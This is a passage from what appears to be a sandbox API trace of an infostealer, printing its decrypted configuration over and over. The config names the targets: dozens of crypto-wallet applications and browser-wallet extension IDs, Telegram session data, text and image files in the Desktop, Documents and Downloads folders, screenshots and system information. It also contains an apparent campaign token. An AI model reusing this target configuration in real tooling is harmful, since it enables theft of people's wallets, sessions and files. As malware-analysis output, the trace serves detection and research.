Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.752] lstrlenW (lpString="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4189 [0259.752] LocalAlloc (uFlags=0x40, uBytes=0x213a) returned 0x6ef5a0 [0259.753] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.753] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.753] StrStrW (lpFirst="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.753] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.754] LocalFree (hMem=0x6b9720) returned 0x0 [0259.754] LocalFree (hMem=0x6bb7e8) returned 0x0 [0259.755] LocalFree (hMem=0x6bd8b0) returned 0x0 [0259.755] StrStrW (lpFirst="wlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 